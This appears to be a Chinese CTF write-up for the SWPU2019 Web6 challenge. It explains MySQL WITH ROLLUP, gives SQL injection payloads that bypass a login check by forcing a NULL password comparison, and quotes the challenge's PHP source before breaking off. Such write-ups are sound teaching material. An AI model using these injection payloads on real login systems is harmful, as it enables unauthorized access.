[SWPU2019]Web6
- SQL注入中的with rollup
- 利用session.upload_progress进行文件包含和反序列化渗透
一个登陆页面,尝试一下1’ and sleep(4)#后弹出被过滤的回显,然后怎么都没思路,然后输入了下万能密码1’ or 1=1 or ‘1’='1,回显了passwd错误,这证明只对passwd进行的检测
看了下wp
猜测源码太狠了
$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['passwd'] == $_POST['passwd']) {
先了解下with rollup:Mysql中的WITH ROLLUP用法
WITH ROLLUP:在group分组字段的基础上再进行统计数据
mysql> select name,money from test;
+-----------+-------+
| name | money |
+-----------+-------+
| 周伯通 | 12 |
| 老顽童 | 33 |
| 欧阳锋 | 70 |
| 欧阳克 | 99 |
| 小顽童 | 12 |
| 周伯通 | 56 |
| 周伯通 | 19 |
| 欧阳锋 | 57 |
| 老顽童 | 84 |
+-----------+-------+
mysql> SELECT name,money FROM test group by name,money;
+-----------+-------+
| name | money |
+-----------+-------+
| 周伯通 | 12 |
| 周伯通 | 19 |
| 周伯通 | 56 |
| 小顽童 | 12 |
| 欧阳克 | 99 |
| 欧阳锋 | 57 |
| 欧阳锋 | 70 |
| 老顽童 | 33 |
| 老顽童 | 84 |
+-----------+-------+
mysql> SELECT name,money FROM test group by name,money with ROLLUP;
+-----------+-------+
| name | money |
+-----------+-------+
| 周伯通 | 12 |
| 周伯通 | 19 |
| 周伯通 | 56 |
| 周伯通 | NULL |
| 小顽童 | 12 |
| 小顽童 | NULL |
| 欧阳克 | 99 |
| 欧阳克 | NULL |
| 欧阳锋 | 57 |
| 欧阳锋 | 70 |
| 欧阳锋 | NULL |
| 老顽童 | 33 |
| 老顽童 | 84 |
| 老顽童 | NULL |
| NULL | NULL |
+-----------+-------+
可以看到最后汇总出来的是一个NULL,然后在看这个句源码if($key['passwd'] == $_POST['passwd'])
,NULL==NULL是可以过掉的
mysql> SELECT name,money FROM test group by name,money with ROLLUP limit 14,1;
+------+-------+
| name | money |
+------+-------+
| NULL | NULL |
+------+-------+
只要找到NULL所在的位置就可以利用这个弱类型
1' or '1'='1' group by passwd with rollup limit 1,1#
正常来说这么慢慢找就可以了,但是limit被过滤了…
1' or '1'='1' group by passwd with rollup having passwd is NULL#
这样可以直接查为NULL的字段
wp说有提示…但是我一直没找到,访问wsdl.php打开F12有后续的提示
这样可以拿到源码,然后包含了2个文件进来,service.php没读权限
<?php
ob_start();
include ("encode.php");
include("Service.php");
//error_reporting(0);
//phpinfo();
$method = $_GET['method']?$_GET['method']:'index';
//echo 1231;
$allow_method = array("File_read","login","index","hint","user","get_flag");
if(!in_array($method,$allow_method)){
die("not allow method");
}
if($method==="File_read"){
$param =$_POST['filename'];
$param2=null;
}else{
if($method==="login"){
$param=$_POST['username'];
$param2 = $_POST['passwd'];
}else{
echo "method can use";
}
}
echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);
ob_flush();
?>
这里有一个method数组,根据下文和网站功能来看,这些参数应该是方法名,我们直接去调用get_flag
只能127.0.0.1才能调用
#encode.php
<?php
function en_crypt($content,$key){
$key